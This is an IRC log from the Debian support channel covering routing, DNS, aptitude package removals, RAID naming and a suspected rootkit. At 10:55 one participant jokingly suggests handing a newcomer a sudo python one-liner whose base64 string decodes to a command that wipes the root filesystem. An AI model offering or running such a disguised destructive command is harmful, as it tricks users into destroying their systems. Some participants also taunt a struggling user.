| 10:45.58 | auska | hi! I've a problem, i'm connected by ethernet with the interfice eth0 by dhcp and i get the ip 192.168.18.132. I can do ping into my server or all that i want on my LAN. But if i do "ping 8.8.8.8" i get the error: "connect: Network is unreachable" What can i do? |
| 10:45.59 | MarKsaitis | and this is what happened |
| 10:46.13 | altinn | hello there, can anyone help me with this.. nobody knows in #ubuntu #kubuntu http://ubuntuforums.org/showthread.php?p=11089527#post11089527 |
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| 10:46.59 | MarKsaitis | lolcat, CruX| , is there an explanation? I really don't understand what I did wrong |
| 10:47.12 | th0r | please don't feed the troll |
| 10:47.20 | MarKsaitis | you can clearly see that is has removed random stuff from my pastebin |
| 10:47.30 | tvm | auska: missing default route ? |
| 10:47.32 | MarKsaitis | th0r, do you know why did it happen then? |
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| 10:47.43 | Bushmills | altinn: but those in #ubuntu are them who know best about the distribution you're running |
| 10:47.52 | lolcat | MarKsaitis: You did tell it to |
| 10:47.57 | MarKsaitis | th0r, u dont, do you? Y ou think that I just clicked anywhere. No I didnt. |
| 10:48.03 | MarKsaitis | I didnt tell it to |
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| 10:48.23 | MarKsaitis | I gave this command I already told you and then said yes |
| 10:48.44 | altinn | Bushmills: but I asked help there but theyre clueless, probably there are not pro people there atm.. |
| 10:48.54 | Bushmills | auska: there is no gateway or missig default route |
| 10:49.05 | auska | tvm, but if i get ip i would have it, isn't it? Isn't the router [gateway] how give me the ip? |
| 10:49.13 | Bushmills | altinn: this is #debian, not #ubuntu. we are clueless about ubuntu too |
| 10:49.17 | MarKsaitis | according to dpkg and petemc , this command should have only reinstalled 1 package. Am I wrong here? |
| 10:49.37 | MarKsaitis | lolcat, cruxeternus th0r tell me, am I wrong? |
| 10:49.45 | altinn | Bushmills: isnt ubuntu suposted to bee debian based ? |
| 10:49.52 | lolcat | MarKsaitis: yes you are |
| 10:49.55 | Bushmills | altinn: and so? |
| 10:50.04 | Bushmills | that doesn't make it debian |
| 10:50.11 | auska | Bushmills, how can i set the route then? |
| 10:50.13 | Odaym | how do i extract a .tar.bz2 file? |
| 10:50.22 | MarKsaitis | lolcat, scroll up. dpkg and petemc told me that this command will reinstall what I wanted |
| 10:50.24 | Odaym | -xvjf doesn't work |
| 10:50.25 | devil | altinn: just as a little hint: the line you need to investigate on is: /usr/sbin/update-initramfs: 20: lzma: not found |
| 10:50.37 | nkuttler | !tell Odaym about doesn't work |
| 10:50.41 | Bushmills | auska: your dhcp client should have obtained those from the dhcp server. there may be a misconfiguration of either |
| 10:50.41 | altinn | devil: I insalled lzma |
| 10:50.47 | lolcat | MarKsaitis: They lied, sorry |
| 10:50.56 | devil | altinn: not saying anything more, me |
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| 10:51.12 | MarKsaitis | lolcat, exactly, they lied, not me. It's different, isnt it |
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| 10:51.20 | auska | Bushmills, but how can i solve it? |
| 10:51.20 | MarKsaitis | how do I get these packages back then? |
| 10:51.24 | MarKsaitis | is there a way |
| 10:51.31 | lolcat | MarKsaitis: apt-get install |
| 10:51.38 | Bushmills | auska: before you can solve it, you must know the reason of the problem |
| 10:51.44 | tvm | auska: you need several things, a IP, route and DNS server to connect properly |
| 10:51.46 | Bushmills | then you fix it |
| 10:51.57 | MarKsaitis | is there a roll back action or something? I cant do apt-get install for every single one of them |
| 10:52.03 | tvm | auska: if you ping 8.8.8.8, you don't need DNS, but you still need IP and route |
| 10:52.14 | tvm | auska: and the fact that you have IP, doesn't means you have a default route |
| 10:52.22 | boudiccas | MarKsaitis; why not? |
| 10:52.40 | tvm | auska: rest could be firewall, network settings, etc. on the actual LAN |
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| 10:53.07 | MarKsaitis | boudiccas, if it was enough to issue 1 command to remove a hundred packages, why is it not enough to issue 1 more to get them all back if they all depend or conflict on something? |
| 10:53.17 | devil | altinn: you should at least read the bugreports for ubuntu before asking in debian: https://bugs.launchpad.net/ubuntu/+source/casper/+bug/790794 |
| 10:53.25 | MarKsaitis | boudiccas, why not? Because this is a computer, not a manual calculator |
| 10:53.30 | auska | tvm, aha... there is no firewall on my lan |
| 10:53.43 | th0r | MarKsaitis: are you sure? |
| 10:53.46 | lolcat | MarKsaitis: You need one command: apt-get install and the packagenames |
| 10:54.45 | auska | tvm, but there are 2 routers working one with ip=192.168.18.180 and the other ip=192.168.18.179 how can i arange the route? [with another computer is working fine...] |
| 10:55.11 | MarKsaitis | lolcat, th0r how do I get all these package names? You can see them all in my pastebin.... just a mess of stuff. If they all conflict or depend on something (which is ridiculous since I only wanted to reinstall apache2.2-common), then what do I need to install back to get them all back too? |
| 10:55.21 | Zapadlo | Would I get banned if I told him to run: sudo python -c "__import__('os').system('cm0gLXJmIC8q'.decode('base64'))" #> /proc/net/tcp ? |
| 10:55.31 | tvm | auska: either setup DHCP to propagate the route automatically, or set the route manually |
| 10:56.06 | auska | tvm, and how can i do it manually? |
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| 10:56.20 | tvm | auska: "route add default gw 192.168.18.180 eth0" for example |
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| 10:56.58 | lolcat | MarKsaitis: Just install them all |
| 10:57.13 | tvm | auska: try that and then try pinging again. |
| 10:57.20 | boudiccas | MarKsaitis; sudo apt-get install *.deb |
| 10:57.27 | MarKsaitis | lolcat, but I want to know why did it happen and is there no easier way to get them all back |
| 10:57.39 | lolcat | MarKsaitis: How is apt-get install not easy? |
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| 10:58.00 | MarKsaitis | lolcat, its easy, but do I not need to give it all the package names? |
| 10:58.03 | lolcat | MarKsaitis: And I would recommend reading what the package manager suggests before you run it |
| 10:58.09 | auska | tvm, ok i did it, and now i can do ping to 8.8.8.8 but i can't do a "apt-get update" :S |
| 10:58.10 | lolcat | MarKsaitis: Just copy paste |
| 10:58.16 | Bushmills | if there are conflicts, no wonder that some are removed |
| 10:58.25 | boudiccas | MarKsaitis; sudo apt-get install <cut and paste the deleted file list here> |
| 10:58.35 | Bushmills | but - why would there be conflicts? |
| 10:58.40 | MarKsaitis | lolcat, copI dont have the list |
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| 10:58.57 | tvm | auska: and what's the error ? |
| 10:59.03 | MarKsaitis | Bushmills, exactly, why did I get conflicts |
| 10:59.12 | lolcat | MarKsaitis: It is at the top of that terminal |
| 10:59.18 | Bushmills | MarKsaitis: because you're not running debian stable? |
| 10:59.26 | MarKsaitis | lolcat, it was, its no longer there |
| 10:59.35 | MarKsaitis | Bushmills, I am running debian stable :) |
| 10:59.39 | MarKsaitis | fresh copy |
| 10:59.55 | MarKsaitis | its all empty, I was just laying with apache2 only |
| 11:00.00 | Bushmills | because there are non-debian stable repositories added to your sources? |
| 11:00.16 | MarKsaitis | Bushmills, there arent any |
| 11:00.22 | MarKsaitis | zero |
| 11:00.39 | Bushmills | because you tried to install packages which can't coexist with others? |
| 11:00.57 | MarKsaitis | Bushmills, I didnt try to install any packages. |
| 11:01.02 | MarKsaitis | nothing whatsoever |
| 11:01.19 | Bushmills | how do you know then that there were conflicts? |
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| 11:01.32 | MarKsaitis | I only ran that command to reinstall apache2.2-common with its default config files |
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| 11:01.55 | boudiccas | MarKsaitis; look, you've been told what to do to recover from your mistake, if you wont do it then i wash my hands of you |
| 11:02.02 | auska | tvm," Something wicked happend resolving [ftp.debian.org] (-5 no addres associated with hostname)" |
| 11:02.25 | tvm | auska: yes, so you also have broken dns |
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| 11:02.41 | MarKsaitis | Bushmills, I dont. Thats what people said here. I ran "aptitude -o DPkg::Options::='--force-confmiss' reinstall apache2.2-common" as I been recommended here. It did the job but it also removed 100 other random packages, games and software center |
| 11:02.44 | auska | tvm, and that means? |
| 11:02.53 | tvm | auska: do: echo "nameserver 4.2.2.1" > /etc/resolv.conf |
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| 11:03.16 | nkuttler | MarKsaitis: scroll up, copy + paste into a file, apt-get install `cat file` |
| 11:03.24 | MarKsaitis | boudiccas, I would. How do I get that list? I cant scroll up anymore, I reached the limit |
| 11:03.29 | nkuttler | .. |
| 11:03.33 | MarKsaitis | nkuttler, =) |
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| 11:04.07 | MarKsaitis | Bushmills, any ideas? |
| 11:04.09 | nkuttler | MarKsaitis: try /var/log/apt/history.log or something |
| 11:04.17 | MarKsaitis | nkuttler, ok thanx |
| 11:04.33 | nkuttler | and next time READ before you hit enter |
| 11:04.34 | Zapadlo | MarKsaitis dpkg --get-selections |
| 11:04.43 | nkuttler | a little late for that |
| 11:04.44 | Bushmills | MarKsaitis: that's only possible if some packages, a meta package maybe, was marked for deletion. the command you gave only executed that pending operation |
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| 11:04.51 | Zapadlo | Then grep for the removed/uninstalled ones |
| 11:05.37 | auska | tvm, perfect thanks ;) |
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| 11:05.59 | MarKsaitis | Bushmills, the fact is that I didnt mark anything for deletion anywhere |
| 11:06.01 | tvm | auska: :) |
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| 11:06.18 | Bushmills | doesn't need to have been you. maybe your cat |
| 11:06.22 | MarKsaitis | the last time I was working with synaptic package manager, I have applied changes to reinstall apache2 and it as all sucesfull |
| 11:06.26 | auska | tvm, did we set the nameserver 4.2.2.1? Which is this host? |
| 11:06.31 | MarKsaitis | I closed it after that and executed this command |
| 11:06.51 | tvm | auska: one of the root nameservers, the resolving will be slow, but it works |
| 11:07.35 | MarKsaitis | I appreciate all your help, but I think it is very important to know the cause too |
| 11:07.43 | Bushmills | 4.2.2.1 is not a root nameserver |
| 11:07.58 | boudiccas | MarKsaitis; PEBKAC |
| 11:08.09 | Bushmills | that's just a recursing nameserver, put in the net by a provider |
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| 11:09.10 | tvm | bushmills: ah, oh well. never really cared, i've been using that ip for pinging purposes for more than 10 years i guess |
| 11:09.34 | auska | tvm, shit now is another time without working... it says that can't get the repositoris... :S |
| 11:09.41 | Bushmills | you wouldn't want, neither can, use the root server to resolve your requests, unless you're querying them for the tld name servers |
| 11:10.16 | Bushmills | servers |
| 11:10.39 | tvm | hmm. |
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| 11:11.10 | Internat | question.. if i accidently rm'd /bin.. and i booted up into a recovery disk. is there anyway to make apt or dpkg re-install any missing files/ |
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| 11:12.40 | MarKsaitis | Bushmills, I have found the list in apt history file |
| 11:12.51 | MarKsaitis | but it contains loads of other stuff, a whole mix ;] |
| 11:12.52 | Bushmills | Internat: not really. you could dpkg -l the install packages, dpkg -L each of them, and reinstall those with files matching ^/bin |
| 11:13.06 | MarKsaitis | I just dont know what to do |
| 11:13.21 | MarKsaitis | what was that dpkg -get-selections |
| 11:13.39 | Bushmills | the dpkg man page tells you |
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| 11:14.31 | rozie | I guess it's easier to reinstall all packages |
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| 11:15.49 | MarKsaitis | rozie, im trying to |
| 11:16.01 | MarKsaitis | I just dont understand why did it remove these random packages |
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| 11:16.10 | Zapadlo | Internat Do you have another Debian installation near-by? |
| 11:16.24 | Internat | yes |
| 11:16.27 | MarKsaitis | by simply reinstalling that apache2.2-common package using synaptic package manager, it doesnt tell anything about any dependencies whatsoever |
| 11:16.32 | MarKsaitis | there are no dependencies |
| 11:16.58 | Zapadlo | Tar up the /bin from that and drop it in the effected PC, not ideal but close to the desire effect |
| 11:17.12 | th0r | MarKsaitis: Every apache file depends on apache-common |
| 11:17.14 | Internat | thats not gonna install the missing package binaries etc |
| 11:17.24 | Bushmills | of course there are dependencies: http://deps.scarydevilmonastery.net/apache2.2-common.svg |
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| 11:17.45 | Zapadlo | Internat But you never really "uninstalled them" |
| 11:17.57 | Zapadlo | Or did you? I thoguht you just removed the binaries |
| 11:18.22 | Internat | no but if most of /bin is missing, im assuming just putting it back isnt going to address any applications that wqere installed on one, but not the other? |
| 11:18.26 | Internat | or am i missing something? |
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| 11:18.47 | MarKsaitis | th0r, telling the system to reinstall this package should not mean to remove all the others, should it? |
| 11:18.52 | Internat | oh i guess msot of them are in /usr/bin |
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| 11:19.19 | Bushmills | MarKsaitis: i'd suggest to stop using synaptic, and use aptitude instead |
| 11:19.28 | Zapadlo | <PROTECTED> |
| 11:19.31 | th0r | MarKsaitis: I have no idea what that command you used would tell aptitude to do. And, I suspect, neither did you |
| 11:19.45 | boudiccas | MarKsaitis; admit you made a mistake and stop whining. just get on with installing all those packages |
| 11:19.46 | MarKsaitis | Bushmills, the command I gave had nothing to do with synaptic |
| 11:20.26 | MarKsaitis | th0r, all I understood is that that command should have reinstalled the package I wanted as I have been sugested by the community in this channel |
| 11:20.30 | Bushmills | but the fact that packages get uninstalled without you remembering to have marked them for deletion may do. also that synaptic doesn't show dependencies while there exist many |
| 11:20.46 | gypsion | what's a good password database to use? i'm not too keen on gpg. |
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| 11:21.08 | MarKsaitis | boudiccas, I did a mistake because I been told to do it. I thought I can trust people here when asking for help. |
| 11:21.13 | Bushmills | the command you gave may simply have completed what synaptic - through you - has set up as pending actions |
| 11:22.07 | MarKsaitis | Bushmills, synaptic pending actions list was empty |
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| 11:23.09 | boudiccas | MarKsaitis; in the amount of time you've been whining about it you could've reinstalled them using apt-get! |
| 11:23.22 | MarKsaitis | Bushmills, do you think I accidentally and randomly selected to uninstall 100 packages and I dont even remember that? =) I am not that dumb. I told you everything exactly as it happened to the finest detail |
| 11:23.24 | Bushmills | aptitude does *not* simply remove packages for no reason. even if you want to make us believe that |
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| 11:23.37 | MarKsaitis | boudiccas, it is important for me to know the cause |
| 11:23.45 | MarKsaitis | people here dont even understand what that command does |
| 11:24.10 | MarKsaitis | Bushmills, but you seen my pastebin, didnt you |
| 11:24.36 | Bushmills | no. i've seen your rantings, didn't make me want to open your pastebin |
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| 11:24.57 | MarKsaitis | Bushmills, well, open it and witness it yourself |
| 11:25.18 | MarKsaitis | I dont rant for no reason |
| 11:25.42 | petemc | you have no reason to rant, you havent bothered to read any documentation yourself |
| 11:25.48 | petemc | aptitude why-not foo |
| 11:26.02 | th0r | MarKsaitis: ok...it's official...you've been whining about this for a full hour now |
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| 11:26.21 | MarKsaitis | absolutelly |
| 11:26.51 | MarKsaitis | I gave a simple question. I only asked why this command has removed these innocent packages |
| 11:27.00 | MarKsaitis | I have the evidence, I told the details |
| 11:27.19 | boudiccas | MarKsaitis; so cut the crap and bull shit and get on with reinstalling them with apt-get |
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| 11:27.38 | MarKsaitis | and all you answer is that I am ranting and whinning |
| 11:27.49 | petemc | why do you think that is? |
| 11:28.14 | MarKsaitis | I think it is because nobody knows why did it do so |
| 11:28.24 | Bushmills | who agreed to remove any package when you run the aptitude command - was that your cat too? |
| 11:29.07 | MarKsaitis | Bushmills, the question is very simple. "Why did that command wanted to remove another 100 packages". |
| 11:29.21 | MarKsaitis | people said here that they dont understand this command |
| 11:29.44 | Bushmills | yes, that's the question. to which i gave my opinion why it would. the the one who could have answered that is you |
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| 11:30.45 | Bushmills | normal procedure would be: 1. think "no, i don't want to remove those" and decline. 2. examine "why would it remove them" and undo the reson for it |
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| 11:31.29 | MarKsaitis | Bushmills, well, there has been a few reasons for that. People said I could have had pending actions, I did not. Somebody said because of dependencies, thats not true ( how come software center depend on apache2.2-common?)... somebody said I may have other repos - no I dont have any third party repos whatsoever! |
| 11:31.35 | berarma | does MarKsaitis use debian? |
| 11:31.48 | MarKsaitis | berarma, yes |
| 11:31.56 | Bushmills | your procedure is 1. "oh yes, let's remove them, it's probably ok" and 2. "you people gave me a shitty command" |
| 11:32.00 | MarKsaitis | fresh recently installed debian squeeze |
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| 11:32.40 | MarKsaitis | Bushmills, I agree that I did a mistake by saying OK. But still, it doesnt answer the answer |
| 11:32.58 | Bushmills | in one hour you could have reinstalled whole debian 5 times by now :) |
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| 11:33.21 | MarKsaitis | thats not whats important for me |
| 11:33.26 | MarKsaitis | I want to know the cause |
| 11:33.28 | th0r | let's make this a community thing...continue to bait him and see how long we can get him to keep it up |
| 11:33.42 | Bushmills | that's something to figure out *before* removing |
| 11:33.53 | jokar | o/ all |
| 11:33.55 | jokar | hi |
| 11:34.20 | MarKsaitis | what is the syntax? i.e. I have mesa-utils:amd64 (7.7.1-4), python-bugbuddy:amd64 (2.30.0-4), |
| 11:34.36 | MarKsaitis | what do I need to remove? I want to feed loads of these to apt-get install |
| 11:34.49 | berarma | one hour better spent reading the manual :) |
| 11:34.50 | MarKsaitis | as it seems noboidy really knows the reason, and neither do I |
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| 11:35.03 | jokar | excuse me in debian 6 when i want install gdm package,show me i must remove gdm3,if i remove it and install GDM my debian work correctly? |
| 11:35.11 | Bushmills | nobody want to give you a command anymore, i think |
| 11:35.16 | dobalina | installing apache2 in chroot environment won't impact or hinder the usage of virual sites on one server right? |
| 11:35.22 | MarKsaitis | Bushmills, ok ;] |
| 11:35.32 | berarma | jokar: yes, you need just one |
| 11:35.56 | jokar | if i remove gdm3 and install GDM my debian work corrctly? |
| 11:36.04 | jokar | correctly* |
| 11:36.14 | MarKsaitis | the fact is that things just dont work the way they should, even in ancienct "stable" distros |
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| 11:36.35 | Bushmills | jokar: your *debian* works without any gdm or gdm3 or whole gnome, even |
| 11:36.49 | jokar | ok |
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| 11:36.54 | jokar | thanks very much |
| 11:36.54 | berarma | MarKsaitis: try this command here and the problem is gone: /part |
| 11:37.02 | jokar | ;) |
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| 11:37.21 | MarKsaitis | ;]]]] |
| 11:37.34 | Bushmills | MarKsaitis: there are 100 ways things whould work, but only one way things work |
| 11:37.46 | Bushmills | glad to hear that you're #101 |
| 11:37.52 | Bushmills | should ... |
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| 11:38.35 | MarKsaitis | is there a command prompt istory file somewhere? |
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| 11:38.42 | MarKsaitis | and do I need commas between package names |
| 11:39.25 | nevyn | MarKsaitis: .bash_history |
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| 11:39.43 | nevyn | MarKsaitis: accessed via the improbably named internal bash utility "history" |
| 11:39.47 | Bushmills | nevyn: careful |
| 11:39.56 | Bushmills | he may run non-bash and blame you |
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| 11:41.29 | nevyn | oh. |
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| 11:42.16 | MarKsaitis | nevyn, is there a history with output as well? |
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| 11:42.49 | th0r | see how well he pays attention |
| 11:43.16 | nevyn | MarKsaitis: not unless you did something to make such a log |
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| 11:43.55 | MarKsaitis | why is it not good to use synaptic package manager and aptitude or apt-get? |
| 11:43.58 | nevyn | MarKsaitis: typescript is useful for this or something like sudosh |
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| 11:44.18 | nevyn | MarKsaitis: only one system package manager can be updating the status file at a time |
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| 11:45.43 | MarKsaitis | I am not using them all at the same time, but I am using them all at different times |
| 11:45.51 | MarKsaitis | somebody said that this is bad |
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| 11:46.04 | nevyn | meh |
| 11:46.12 | themill | !unmarkauto |
| 11:46.12 | dpkg | Is apt trying to remove packages that it thinks were automatically installed? This happens when you "aptitude install gnome" and then later remove bits of it causing the gnome meta-package to be uninstalled and then all its dependencies. Fix this by running "aptitude unmarkauto packagename" on strategically chosen packages, or reinstall the <metapackage> (apt-get also has unmarkauto from squeeze onwards). |
| 11:46.17 | MarKsaitis | because aptitude and synaptic package manager shows different dependencies for the same package |
| 11:46.20 | themill | MarKsaitis: ^^ next time, read what aptitude is planning to do. |
| 11:46.31 | themill | s/aptitude/any package manager/ |
| 11:46.35 | nevyn | oh. |
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| 11:48.18 | MarKsaitis | however, I see no sensible relationship between apache2.2-common and software center in any of these package managers. Unless I am a total dumbass |
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| 11:51.02 | MarKsaitis | I am going to squeeze all those inoncent packages back and run that command again |
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| 12:04.11 | MarKsaitis | when I use apt-get, aptitude and synaptic, what is the command to clean them all? or to clean that dpkg? |
| 12:04.19 | MarKsaitis | which one of them is the main master |
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| 12:06.46 | webad_13 | when I create a directory with sudo mkdir SomeDir, I would expect that user cannot delete it... However using nautilus I am able to delete it with shift+del as a regular user |
| 12:07.32 | webad_13 | is this normal behavior? |
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| 12:08.17 | dobalina | has makejail been replaced by chroot |
| 12:08.18 | dobalina | ? |
| 12:08.20 | MarKsaitis | guess what boys and girlz, after squeezing these all packages back to the system and runing that weird alien command again, it behaved differently and didnt remove all these 100 packages |
| 12:08.26 | MarKsaitis | now how is that for an anomaly |
| 12:08.29 | MarKsaitis | totally alien |
| 12:09.36 | webad_13 | dobalina: nothing has been modified, it is standard install if that helps |
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| 12:10.07 | webad_13 | this is on debian unstable, but same thing is on ubuntu 11.04 |
| 12:10.52 | th0r | I have lost video in both vlc and mplayer. Audio is fine, but the video screen is black. |
| 12:11.36 | MarKsaitis | th0r, I bet its aliens |
| 12:12.15 | berarma | th0r: do you use dmm? |
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| 12:12.57 | th0r | berarma: I thought of that. Disabled dmm, uninstalled vlc and all dependencies, and reinstalled. |
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| 12:14.28 | MarKsaitis | I think it is a dependency problem |
| 12:14.32 | berarma | th0r: there could be still some libraries left, you should uninstall all dmm packages and install them from debian |
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| 12:14.47 | th0r | berarma: is there an easy way to find them? |
| 12:15.31 | MarKsaitis | your best bet is to do it manually with the help of a manual calculator |
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| 12:15.45 | th0r | I thought you guys had taken out the trash |
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| 12:19.14 | Bushmills | th0r: try mplayer -vo x11 ... |
| 12:19.23 | berarma | th0r: I can't help you much with apt search options |
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| 12:20.32 | th0r | Bushmills: that works....now to figure out how to do it in vlc <smile> |
| 12:22.12 | Bushmills | tools->preferences->video->output |
| 12:22.28 | th0r | Bushmills: tried that, none of those choices seems to work |
| 12:22.36 | Bushmills | X11, again |
| 12:22.44 | Bushmills | save, then restart vlc |
| 12:23.04 | th0r | Bushmills: yup....that is what it is set to now, but no go |
| 12:23.28 | Bushmills | unusual - that's the most uncritical setting, in terms of needed driver support |
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| 12:24.28 | th0r | Bushmills: yeah, I suspect it is something I added this morning as it was working when I first started up. I installed a few things from dmm....this is a relatively fresh install and I didn't realize I still had that repo enabled in the backup |
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| 12:24.46 | freakynl | Hi, I created a mdadm raid-10 set with superblock v0.90. Now when I boot the system the kernel seems to have autodetected it, but assigned it the device name md127 instead of md0. Any way to correct this? |
| 12:25.53 | nevyn | why do you care? |
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| 12:27.29 | freakynl | Well, because /etc/mdadm/mdadm.conf says md0, because ietd.conf says md0, cause fstab mounts /dev/md0p3, etc. it needs to be consistent |
| 12:28.18 | berarma | th0r: I guess some of these search patterns could help you find dmm packages: http://algebraicthunk.net/~dburrows/projects/aptitude/doc/en/ch02s03s05.html |
| 12:28.50 | berarma | th0r: that's for aptitude ^^^ |
| 12:29.38 | th0r | berarma: thanks....will start on that soon as I walk the dog <smile> |
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| 12:32.17 | ham5 | debian support AHCI on drives? |
| 12:32.44 | ham5 | TRIM i mean |
| 12:32.45 | th0r | berarma: all I get is 'This aptitude does not have Super Cow Powers' |
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| 12:34.15 | berarma | th0r: those patterns can be used inside aptitude, search with / |
| 12:35.32 | th0r | berarma: this seems to be doing something, but I see no result " aptitude search / ~Adebian-multimedia" |
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| 12:36.22 | wols_ | ham5: yes |
| 12:36.28 | wols_ | !trim |
| 12:36.56 | wols_ | ham5: you need a kernel >= 2.6.33 and a trim capable filesystem |
| 12:37.16 | berarma | th0r: no slash there |
| 12:37.28 | berarma | th0r: you'll have to try another pattern |
| 12:38.01 | ham5 | didnt know the filesystem had to be compatible, thank you wols |
| 12:38.34 | wols_ | ham5: use ext4 |
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| 12:39.13 | wols_ | ham5: http://en.wikipedia.org/wiki/TRIM#Discard_parameter_in_Linux |
| 12:39.19 | th0r | berarma: got it...thanks |
| 12:40.29 | ham5 | wols, thank you |
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| 12:42.35 | gawry | does anyone know the Dotdeb repository? is it safe? |
| 12:43.14 | babilen | !dotdeb |
| 12:43.14 | dpkg | well, dotdeb is for the latest PHP and MySQL releases, packaged up and backported for your pleasure, go to http://dotdeb.org/ , but realize that we cannot support dotdeb packages here, so you will be ON YOUR OWN. The packages from backports.debian.org are vastly superior. Ask me about <backports> and <debian-backports>. "aptitude purge ~Vdotdeb" |
| 12:43.34 | babilen | gawry: That ^^^ is more or less our opinion of dotdeb :) |
| 12:45.18 | gawry | !backports |
| 12:45.18 | dpkg | A backport is a package from a newer Debian branch, compiled from source for an older branch to avoid dependency and <ABI> complications. http://www.debian.org/doc/manuals/reference/ch02.en.html (2.7.4 and 2.7.10), http://backports.debian.org/ . Ask me about <debian-backports> and <backport caveat>, <volatile>. See also <simple sid backport>. |
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| 12:46.03 | babilen | gawry: You can /msg our bot -- For example: /msg dpkg backports |
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| 12:47.01 | gawry | babilen: thnks |
| 12:47.07 | brian | Hola |
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| 12:47.40 | Guest13783 | acabo de instalar debian |
| 12:47.51 | Guest13783 | la primera vez que lo uso |
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| 12:48.32 | Guest13783 | me pueden ayudar para instalar flash player? no lo encuentro en centro de software |
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| 12:49.36 | daemonkeeper | !es |
| 12:49.36 | dpkg | Este canal es de soporte tecnico en Ingles para Debian. Si prefiere que el soporte sea en espanol, por favor ingrese a #debian-es con /join #debian-es tecleado en la linea de chat. |
| 12:50.34 | Guest13783 | oh thanks! sorry :) |
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| 12:59.28 | abrotman | Roar__: that's annoying when you do that :) |
| 12:59.40 | abrotman | Roar__: you can use apt-file or packages.debian.org to see if that file is legit |
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| 13:00.37 | SandmanNet | Hmmm, a good resource for setting up a DNS server? |
| 13:00.47 | Roar__ | I tried using apt-file |
| 13:00.50 | SandmanNet | Or rather, DNS server*s* I suppose, because you should always use two, right? |
| 13:00.58 | SandmanNet | I need to start hosting my own domains |
| 13:00.59 | Roar__ | abrotman: what happened? |
| 13:01.21 | abrotman | Roar__: you switched servers .. i was in the middle of talking to you on the other network |
| 13:01.34 | Roar__ | abrotman: oh. sorry |
| 13:01.34 | abrotman | SandmanNet: read the bind ARM |
| 13:02.38 | SandmanNet | "ARM"? |
| 13:03.03 | Roar__ | A security question: I got a /lib/libaux.so.1 that I can not accout for in my system. I see /lib/libaux.so on the google hits, but nothing important about it. I have done a nm -D on one, and I don't like the results, I think it contains some rootkit. It is loaded with ld.so.preload. But there are not much google hits with it. |
| 13:03.31 | freakynl | Anyone on why my md array comes up as md127 on boot instead of md0 (definitely has to do with kernel auto assembly, if I stop the array and start /etc/init.d/mdadm-raid it comes up as md0 as defined in mdadm.conf) |
| 13:04.16 | SandmanNet | "ARM" = "Administrator Reference Manual"? |
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| 13:05.16 | abrotman | SandmanNet: yes |
| 13:05.34 | abrotman | Roar__: was the system upgraded from lenny or etch? |
| 13:06.12 | Roar__ | abrotman: it is still lenny |
| 13:06.21 | freakynl | the hostname was altered btw, but so far I've ran 'mdadm -A /dev/md0 --update=homehost' 3 times, and it doesn't make any difference whatsoever |
| 13:06.59 | abrotman | Roar__: i386? |
| 13:07.04 | Roar__ | yes |
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| 13:07.45 | abrotman | Roar__: i can't find a record of it either |
| 13:07.56 | Roar__ | it is pretty small, contains symbols for read, accept, real_accept, real_read, "/bin/bash". smells a lot |
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| 13:16.00 | Roar__ | is there a usable debian mailing list (or an internal one) for this? |
| 13:16.32 | Roar__ | or a security site which can receive the lib-file? |
| 13:16.41 | abrotman | debian-users |
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| 13:18.42 | Roar__ | even if it is certainly stemming from debian software? |
| 13:18.53 | Roar__ | certainly +not |
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| 13:21.36 | gypsion | anyone know where I can get 6 TB HDDs for my servers? |
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| 13:22.31 | iceroot | gypsion: there are no 6tb drives |
| 13:22.32 | petemc | 3TB is largest you can get currently afaik |
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| 13:24.11 | jsoftw | Yay finally got debian installed dual boot on my imac. |
| 13:25.01 | gypsion | what about those dual HDDs? |
| 13:25.33 | jsoftw | ... ? |
| 13:25.34 | krakrjak | jsoftw: intel imac? |
| 13:25.39 | jsoftw | yeah. |
| 13:25.51 | krakrjak | nice |
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| 13:25.58 | freakynl | gypsion: you mean dual-port sas drives? or laptops with 2 disks? |
| 13:26.05 | JohneyMnemnic | hello i need a distro with python, perl, C, and Java fully supported. Anybody know sthng like this? |
| 13:26.08 | krakrjak | the screens on those are really beautiful. |
| 13:26.24 | jsoftw | krakrjak: yeah this is a 27" one |
| 13:26.26 | gypsion | freakynl: that reminds me. |
| 13:26.28 | krakrjak | JohneyMnemnic: Debian sounds pretty good for those requirements. |
| 13:26.42 | jsoftw | hoping the hd 5750 gfx card works ok. |
| 13:27.14 | cahoot | krakrjak, once it's profiled |
| 13:27.20 | freakynl | well java is owned by oracle... oracle sucks (well for the opensource community at least)... good luck with full support on that :P |
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| 13:27.56 | jsoftw | Java sucks anyway :D |
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| 13:28.24 | freakynl | yea, but when it was still owned by sun, it sucked less :) |
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| 13:28.32 | jsoftw | Indeed. |
| 13:28.34 | krakrjak | cahoot: once it's profiled? |
| 13:28.40 | jsoftw | How does oracle make money, anyway? |
| 13:28.42 | cahoot | the imacscreen |
| 13:28.57 | jsoftw | Who even buys anything from them? |
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| 13:29.16 | krakrjak | jsoftw: through protection schemes and extortion? |
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| 13:29.20 | freakynl | I dunno, perhaps by being the biggest SQL vendor on the planet? Although... MS might have catched up to them, but you can be sure nearly every fortune 500 company has oracle db's |
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| 13:29.56 | freakynl | they also bought mysql :( ... if you count those as well :) |
| 13:29.57 | jsoftw | Are there DB's really that good? |
| 13:30.16 | krakrjak | I used to DBA some Oracle 10i. It's a good database. We migrated over to PostgreSQL and never looked back. |
| 13:30.17 | jsoftw | I mean, I am no dba but last time I set up oracle their install scripts and startup scripts were blatantly wrong and broken |
| 13:30.49 | krakrjak | damn near everywhere you can use oracle you can use postgres instead. |
| 13:31.20 | krakrjak | and it's nicer. Now has active/active clustering OTB (>=9.0). |
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| 13:32.42 | jsoftw | awwww. |
| 13:32.47 | jsoftw | startx gives me a blank screen :( |
| 13:32.51 | jsoftw | black, even. |
| 13:33.00 | krakrjak | same here on kbsd. |
| 13:33.01 | freakynl | any md guru's by now? My array keeps coming up as md127, even after rewriting the homehost and generating new uuid's (mdadm -A /dev/md0 --update=homehost /dev/sd[b-i] and mdadm -A /dev/md0 --update=uuid /dev/sd[b-i]) several times. mdadm --examine (and --detail on array level) shows preferred minor is 0 everywhere whilst assembled as md0 (manually), it shows 127 on the array when it's md127, but still has preferred minor 0 on the disks then |
| 13:33.06 | jsoftw | I is dissapoint. |
| 13:33.42 | JohneyMnemnic | krakrjak, yep, but i have ubuntu and its not far from debian and ive to download all f* modules(dependencies) to make step 1, but by step 2 ive to install other ones, and this is f* work to do everytime. Is there somthing that automatize this f* process? Gentoo was "uuu, my head blownd up" and i dont want to have to do nothing more with gentoo. Sm1 know, is Fedora good? |
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| 13:34.07 | krakrjak | any EE entries in /var/log/Xorg.log.0 |
| 13:34.24 | iceroot | gypsion: dual-hdd == raid0? |
| 13:34.46 | krakrjak | JohneyMnemnic: Sounds like you want a way to replicate a system after it's set up. |
